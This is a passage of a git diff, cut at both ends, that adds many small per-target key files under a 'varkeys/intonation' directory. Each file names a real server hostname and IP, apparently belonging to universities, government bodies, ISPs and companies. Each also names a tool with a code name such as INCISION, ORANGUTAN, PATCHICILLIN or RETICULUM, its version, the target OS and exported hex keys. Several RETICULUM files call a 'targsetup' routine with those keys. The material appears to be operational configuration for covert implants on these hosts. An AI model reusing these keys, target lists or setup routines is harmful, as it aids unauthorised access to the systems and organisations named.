PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="93d2a270 38daf4e9 062e9449" +} diff --git a/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/sidetrack b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/sidetrack new file mode 100644 index 0000000..0a5160a --- /dev/null +++ b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/sidetrack @@ -0,0 +1,4 @@ +INTONATION___no1.unternehemen.com___62.116.144.150___20050127-173545() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="52edc8b3 99929924 de5aeabb 316f97d6" +} diff --git a/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/incision b/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/incision new file mode 100644 index 0000000..95d5ca9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/incision @@ -0,0 +1,4 @@ +INTONATION___no3.unternehmen.org___62.116.144.190___20050920-130356() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="ec96bd02 bdfa6528 769db161" +} diff --git a/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/orangutan b/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/orangutan new file mode 100644 index 0000000..2054747 --- /dev/null +++ b/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/orangutan @@ -0,0 +1,4 @@ +INTONATION___no3.unternehmen.org___62.116.144.190___20050920-130356() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="2bf84f37 fc94f2e7 4c8a9b6c" +} diff --git a/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/patchicillin b/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/patchicillin new file mode 100644 index 0000000..3b14ee4 --- /dev/null +++ b/Linux/bin/varkeys/intonation/no3.unternehmen.org___62.116.144.190/patchicillin @@ -0,0 +1,4 @@ +INTONATION___no3.unternehmen.org___62.116.144.190___20050920-130356() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="0dff1730 1bf848e8 e7eac69c" +} diff --git a/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/incision b/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/incision new file mode 100644 index 0000000..451d648 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/incision @@ -0,0 +1,4 @@ +INTONATION___ns.cac.com.cn___202.98.102.5___20030325-142643() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="3101bbd2 986a801c b4f87169" +} diff --git a/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/orangutan b/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/orangutan new file mode 100644 index 0000000..31e586a --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/orangutan @@ -0,0 +1,4 @@ +INTONATION___ns.cac.com.cn___202.98.102.5___20030325-142643() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="b546d1a1 e8da4494 599ed772" +} diff --git a/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/reticulum b/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/reticulum new file mode 100644 index 0000000..19f4a1e --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns.cac.com.cn___202.98.102.5/reticulum @@ -0,0 +1,20 @@ +INTONATION___ns.cac.com.cn___202.98.102.5___20030325-142643() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host ns.cac.com.cn + set ip 202.98.102.5 + set hostType "Solaris26" + set len 476 + set cv0 f8dbcd31 + set cv1 8c1eb124 + set cv2 2c1657d2 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/ns.huawei.com.cn___202.96.135.140/jackladder b/Linux/bin/varkeys/intonation/ns.huawei.com.cn___202.96.135.140/jackladder new file mode 100644 index 0000000..91a35f1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns.huawei.com.cn___202.96.135.140/jackladder @@ -0,0 +1,3 @@ +INTONATION___ns.huawei.com.cn___202.96.135.140___20000921-123547() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/ns.nint.ac.cn___210.83.3.26/orangutan b/Linux/bin/varkeys/intonation/ns.nint.ac.cn___210.83.3.26/orangutan new file mode 100644 index 0000000..6453c4d --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns.nint.ac.cn___210.83.3.26/orangutan @@ -0,0 +1,4 @@ +INTONATION___ns.nint.ac.cn___210.83.3.26___20020506-121324() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="4344fa42 f0a90aaf a71c68f7" +} diff --git a/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/incision b/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/incision new file mode 100644 index 0000000..18f26f7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/incision @@ -0,0 +1,4 @@ +INTONATION___ns1.2911.net___202.99.41.9___20041103-115142() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="0df2b008 189b3465 ad9c5b14" +} diff --git a/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/orangutan b/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/orangutan new file mode 100644 index 0000000..7ee9dff --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/orangutan @@ -0,0 +1,4 @@ +INTONATION___ns1.2911.net___202.99.41.9___20041103-115142() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="b3db90c8 f4cc2bcf 26179e34" +} diff --git a/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/patchicillin b/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/patchicillin new file mode 100644 index 0000000..59754e9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns1.2911.net___202.99.41.9/patchicillin @@ -0,0 +1,4 @@ +INTONATION___ns1.2911.net___202.99.41.9___20041103-115142() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.7 + export CV="2db86340 0fcf902b bcab23a3" +} diff --git a/Linux/bin/varkeys/intonation/ns1.multi.net.pk___202.141.224.34/incision b/Linux/bin/varkeys/intonation/ns1.multi.net.pk___202.141.224.34/incision new file mode 100644 index 0000000..360ef45 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns1.multi.net.pk___202.141.224.34/incision @@ -0,0 +1,5 @@ +INTONATION___ns1.multi.net.pk___202.141.224.34___20020826-161236() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="0fec50bf 8aea8798 feb3d724" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=660 +} diff --git a/Linux/bin/varkeys/intonation/ns1.multi.net.pk___202.141.224.34/orangutan b/Linux/bin/varkeys/intonation/ns1.multi.net.pk___202.141.224.34/orangutan new file mode 100644 index 0000000..4677d2d --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns1.multi.net.pk___202.141.224.34/orangutan @@ -0,0 +1,4 @@ +INTONATION___ns1.multi.net.pk___202.141.224.34___20020826-161236() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="ba3f28f1 eece6e48 a9b3e9f4" +} diff --git a/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/dewdrop b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/dewdrop new file mode 100644 index 0000000..32d7f66 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/dewdrop @@ -0,0 +1,4 @@ +INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/incision b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/incision new file mode 100644 index 0000000..e8b36e5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/incision @@ -0,0 +1,5 @@ +INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="9a3c4c8e ab3d55da f5a598e3" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-1099 +} diff --git a/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/jackladder b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/jackladder new file mode 100644 index 0000000..114b8ce --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/jackladder @@ -0,0 +1,4 @@ +INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/orangutan b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/orangutan new file mode 100644 index 0000000..0192133 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/orangutan @@ -0,0 +1,4 @@ +INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="464d1858 5ddf03c7 fa02fb04" +} diff --git a/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/patchicillin b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/patchicillin new file mode 100644 index 0000000..ef1abb6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/patchicillin @@ -0,0 +1,4 @@ +INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="63f3faf1 2b1e91c6 07e892bb" +} diff --git a/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/sidetrack b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/sidetrack new file mode 100644 index 0000000..6096baa --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.rosprint.ru___194.84.23.125/sidetrack @@ -0,0 +1,4 @@ +INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="298de302 4ffeb51c ab6a597a a1dc6d13" +} diff --git a/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/incision b/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/incision new file mode 100644 index 0000000..fb39c5f --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/incision @@ -0,0 +1,4 @@ +INTONATION___ns2.xidian.edu.cn___202.117.112.4___20041025-142854() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="30cac4b5 442673a3 b0074e86" +} diff --git a/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/orangutan b/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/orangutan new file mode 100644 index 0000000..c63791d --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/orangutan @@ -0,0 +1,4 @@ +INTONATION___ns2.xidian.edu.cn___202.117.112.4___20041025-142854() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="fb2741b7 080f186d f17ac53d" +} diff --git a/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/patchicillin b/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/patchicillin new file mode 100644 index 0000000..fa9387d --- /dev/null +++ b/Linux/bin/varkeys/intonation/ns2.xidian.edu.cn___202.117.112.4/patchicillin @@ -0,0 +1,4 @@ +INTONATION___ns2.xidian.edu.cn___202.117.112.4___20041025-142854() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="8e06bf1f fe2c75e0 d86dc77b" +} diff --git a/Linux/bin/varkeys/intonation/opcwdns.opcw.nl___195.193.177.150/jackladder b/Linux/bin/varkeys/intonation/opcwdns.opcw.nl___195.193.177.150/jackladder new file mode 100644 index 0000000..fce6ad5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/opcwdns.opcw.nl___195.193.177.150/jackladder @@ -0,0 +1,3 @@ +INTONATION___opcwdns.opcw.nl___195.193.177.150___20000906-160642() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/opserver01.iti.net.pk___202.125.138.184/orangutan b/Linux/bin/varkeys/intonation/opserver01.iti.net.pk___202.125.138.184/orangutan new file mode 100644 index 0000000..1580d58 --- /dev/null +++ b/Linux/bin/varkeys/intonation/opserver01.iti.net.pk___202.125.138.184/orangutan @@ -0,0 +1,4 @@ +INTONATION___OPSERVER01.iti.net.pk___202.125.138.184___20030522-152610() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="cff5a0a4 eceec4c5 7e56ccf0" +} diff --git a/Linux/bin/varkeys/intonation/orange.npix.net___211.43.194.48/orangutan b/Linux/bin/varkeys/intonation/orange.npix.net___211.43.194.48/orangutan new file mode 100644 index 0000000..2026dc5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/orange.npix.net___211.43.194.48/orangutan @@ -0,0 +1,4 @@ +INTONATION___orange.npix.net___211.43.194.48___20020123-115853() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="ce90c92e 0e734773 608b2123" +} diff --git a/Linux/bin/varkeys/intonation/orange.npix.net___211.43.194.48/reticulum b/Linux/bin/varkeys/intonation/orange.npix.net___211.43.194.48/reticulum new file mode 100644 index 0000000..b54fd00 --- /dev/null +++ b/Linux/bin/varkeys/intonation/orange.npix.net___211.43.194.48/reticulum @@ -0,0 +1,20 @@ +INTONATION___orange.npix.net___211.43.194.48___20020123-115853() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host orange.npix.net + set ip 211.43.194.48 + set hostType "Solaris27" + set len 476 + set cv0 d4c6b153 + set cv1 ea484d4f + set cv2 6822ab37 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/orion.platino.gov.ve___161.196.215.67/incision b/Linux/bin/varkeys/intonation/orion.platino.gov.ve___161.196.215.67/incision new file mode 100644 index 0000000..4f9f8b1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/orion.platino.gov.ve___161.196.215.67/incision @@ -0,0 +1,4 @@ +INTONATION___orion.platino.gov.ve___161.196.215.67___20030124-003332() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="df0fe25c 2e83f666 6d0b4682" +} diff --git a/Linux/bin/varkeys/intonation/orion.platino.gov.ve___161.196.215.67/orangutan b/Linux/bin/varkeys/intonation/orion.platino.gov.ve___161.196.215.67/orangutan new file mode 100644 index 0000000..aa57180 --- /dev/null +++ b/Linux/bin/varkeys/intonation/orion.platino.gov.ve___161.196.215.67/orangutan @@ -0,0 +1,4 @@ +INTONATION___orion.platino.gov.ve___161.196.215.67___20030124-003332() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="97a45516 fdc4fb74 59197df5" +} diff --git a/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/incision b/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/incision new file mode 100644 index 0000000..e624a9e --- /dev/null +++ b/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/incision @@ -0,0 +1,4 @@ +INTONATION___outweb.nudt.edu.cn___202.197.0.185___20031113-142441() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="b0cd0f85 f68ed634 3b36e295" +} diff --git a/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/orangutan b/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/orangutan new file mode 100644 index 0000000..9ed50c7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/orangutan @@ -0,0 +1,4 @@ +INTONATION___outweb.nudt.edu.cn___202.197.0.185___20031113-142441() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="3000fafe 52024d49 d00563bb" +} diff --git a/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/reticulum b/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/reticulum new file mode 100644 index 0000000..229de4f --- /dev/null +++ b/Linux/bin/varkeys/intonation/outweb.nudt.edu.cn___202.197.0.185/reticulum @@ -0,0 +1,20 @@ +INTONATION___outweb.nudt.edu.cn___202.197.0.185___20031113-142441() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host outweb.nudt.edu.cn + set ip 202.197.0.185 + set hostType "Solaris27" + set len 476 + set cv0 bbb1d3d4 + set cv1 6278cafc + set cv2 06b48634 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/pdns.nudt.edu.cn___202.197.0.180/orangutan b/Linux/bin/varkeys/intonation/pdns.nudt.edu.cn___202.197.0.180/orangutan new file mode 100644 index 0000000..3596346 --- /dev/null +++ b/Linux/bin/varkeys/intonation/pdns.nudt.edu.cn___202.197.0.180/orangutan @@ -0,0 +1,4 @@ +INTONATION___pdns.nudt.edu.cn___202.197.0.180___20011207-143507() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="9b27f470 b7e26c54 a1a7e63b" +} diff --git a/Linux/bin/varkeys/intonation/pdns.nudt.edu.cn___202.197.0.180/reticulum b/Linux/bin/varkeys/intonation/pdns.nudt.edu.cn___202.197.0.180/reticulum new file mode 100644 index 0000000..b6b53ea --- /dev/null +++ b/Linux/bin/varkeys/intonation/pdns.nudt.edu.cn___202.197.0.180/reticulum @@ -0,0 +1,20 @@ +INTONATION___pdns.nudt.edu.cn___202.197.0.180___20011207-143507() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host pdns.nudt.edu.cn + set ip 202.197.0.180 + set hostType "Solaris26" + set len 476 + set cv0 3f3d6551 + set cv1 bc84af22 + set cv2 db08d26c + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/petra.nic.gov.jo___193.188.71.4/jackladder b/Linux/bin/varkeys/intonation/petra.nic.gov.jo___193.188.71.4/jackladder new file mode 100644 index 0000000..e55bad4 --- /dev/null +++ b/Linux/bin/varkeys/intonation/petra.nic.gov.jo___193.188.71.4/jackladder @@ -0,0 +1,3 @@ +INTONATION___petra.nic.gov.jo___193.188.71.4___20000927-064730() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.5.1 +} diff --git a/Linux/bin/varkeys/intonation/pop.net21pk.com___203.135.45.66/incision b/Linux/bin/varkeys/intonation/pop.net21pk.com___203.135.45.66/incision new file mode 100644 index 0000000..0e043fa --- /dev/null +++ b/Linux/bin/varkeys/intonation/pop.net21pk.com___203.135.45.66/incision @@ -0,0 +1,4 @@ +INTONATION___pop.net21pk.com___203.135.45.66___20011109-094618() { + ## INCISION Version:4.8 OS:i386-pc-solaris2.7 + export TARG_AYT="60cbe3ed c8524547 3be1117a" +} diff --git a/Linux/bin/varkeys/intonation/pop.net21pk.com___203.135.45.66/orangutan b/Linux/bin/varkeys/intonation/pop.net21pk.com___203.135.45.66/orangutan new file mode 100644 index 0000000..39d5fb1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/pop.net21pk.com___203.135.45.66/orangutan @@ -0,0 +1,4 @@ +INTONATION___pop.net21pk.com___203.135.45.66___20011109-094618() { + ## ORANGUTAN Version:1.4 OS:i386-pc-solaris2.7 + export CONFIG_KEYS="839b1e27 11db07b9 fafb9784" +} diff --git a/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/incision b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/incision new file mode 100644 index 0000000..4e5d056 --- /dev/null +++ b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/incision @@ -0,0 +1,4 @@ +INTONATION___post.netchina.com.cn___202.94.1.48___20020221-095050() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="d0eab020 8b499a7e ae3a5c1d" +} diff --git a/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/jackladder b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/jackladder new file mode 100644 index 0000000..9c7456f --- /dev/null +++ b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/jackladder @@ -0,0 +1,3 @@ +INTONATION___post.netchina.com.cn___202.94.1.48___20001116-184151() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/orangutan b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/orangutan new file mode 100644 index 0000000..10a5933 --- /dev/null +++ b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/orangutan @@ -0,0 +1,4 @@ +INTONATION___post.netchina.com.cn___202.94.1.48___20020221-095050() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="2ffbdbb3 e60f0d24 1069a4e8" +} diff --git a/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/reticulum b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/reticulum new file mode 100644 index 0000000..69d25c7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/post.netchina.com.cn___202.94.1.48/reticulum @@ -0,0 +1,20 @@ +INTONATION___post.netchina.com.cn___202.94.1.48___20020221-095050() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host post.netchina.com.cn + set ip 202.94.1.48 + set hostType "Solaris26" + set len 476 + set cv0 54e7c0bd + set cv1 458db5f8 + set cv2 73d346dd + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/postbox.mos.ru___10.30.10.32/dewdrop b/Linux/bin/varkeys/intonation/postbox.mos.ru___10.30.10.32/dewdrop new file mode 100644 index 0000000..a2c319c --- /dev/null +++ b/Linux/bin/varkeys/intonation/postbox.mos.ru___10.30.10.32/dewdrop @@ -0,0 +1,4 @@ +INTONATION___postbox.mos.ru___10.30.10.32___20070109-114713() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/postbox.mos.ru___10.30.10.32/stoicsurgeon b/Linux/bin/varkeys/intonation/postbox.mos.ru___10.30.10.32/stoicsurgeon new file mode 100644 index 0000000..8fb3b84 --- /dev/null +++ b/Linux/bin/varkeys/intonation/postbox.mos.ru___10.30.10.32/stoicsurgeon @@ -0,0 +1,4 @@ +INTONATION___postbox.mos.ru___10.30.10.32___20070109-114713() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/incision b/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/incision new file mode 100644 index 0000000..c86642d --- /dev/null +++ b/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/incision @@ -0,0 +1,4 @@ +INTONATION___public2.zz.ha.cn___218.29.0.200___20021024-130727() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="7fcf9429 e0ee0c9b 92154b17" +} diff --git a/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/orangutan b/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/orangutan new file mode 100644 index 0000000..f7c40f9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/orangutan @@ -0,0 +1,4 @@ +INTONATION___public2.zz.ha.cn___218.29.0.200___20021024-130727() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="1eb0e094 d057b2b0 49b02a06" +} diff --git a/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/reticulum b/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/reticulum new file mode 100644 index 0000000..2c2618d --- /dev/null +++ b/Linux/bin/varkeys/intonation/public2.zz.ha.cn___218.29.0.200/reticulum @@ -0,0 +1,20 @@ +INTONATION___public2.zz.ha.cn___218.29.0.200___20021024-130727() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host public2.zz.ha.cn + set ip 218.29.0.200 + set hostType "Solaris27" + set len 476 + set cv0 850258da + set cv1 61a8241a + set cv2 98d4903d + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/rayo.pereira.multi.net.co___206.49.164.2/jackladder b/Linux/bin/varkeys/intonation/rayo.pereira.multi.net.co___206.49.164.2/jackladder new file mode 100644 index 0000000..edfedb5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/rayo.pereira.multi.net.co___206.49.164.2/jackladder @@ -0,0 +1,3 @@ +INTONATION___rayo.pereira.multi.net.co___206.49.164.2___20000920-080519() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/incision b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/incision new file mode 100644 index 0000000..a8aa46b --- /dev/null +++ b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/incision @@ -0,0 +1,4 @@ +INTONATION___sea.net.edu.cn___202.112.5.66___20031023-175518() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="c712883b 6565d449 78b12df6" +} diff --git a/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/orangutan b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/orangutan new file mode 100644 index 0000000..f19865f --- /dev/null +++ b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/orangutan @@ -0,0 +1,4 @@ +INTONATION___sea.net.edu.cn___202.112.5.66___20031023-175518() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="748b2c4e 36c7d67a b7c735fa" +} diff --git a/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/patchicillin b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/patchicillin new file mode 100644 index 0000000..2bc1643 --- /dev/null +++ b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/patchicillin @@ -0,0 +1,4 @@ +INTONATION___sea.net.edu.cn___202.112.5.66___20031023-175029() { + ## PATCHICILLIN Version:1.1 OS:sparc-sun-solaris2.6 + export CV="7f2cdeca 09d39b67 ce28e408" +} diff --git a/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/reticulum b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/reticulum new file mode 100644 index 0000000..b7c357d --- /dev/null +++ b/Linux/bin/varkeys/intonation/sea.net.edu.cn___202.112.5.66/reticulum @@ -0,0 +1,20 @@ +INTONATION___sea.net.edu.cn___202.112.5.66___20031023-175518() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host sea.net.edu.cn + set ip 202.112.5.66 + set hostType "Solaris26" + set len 476 + set cv0 5d63f938 + set cv1 d7da4370 + set cv2 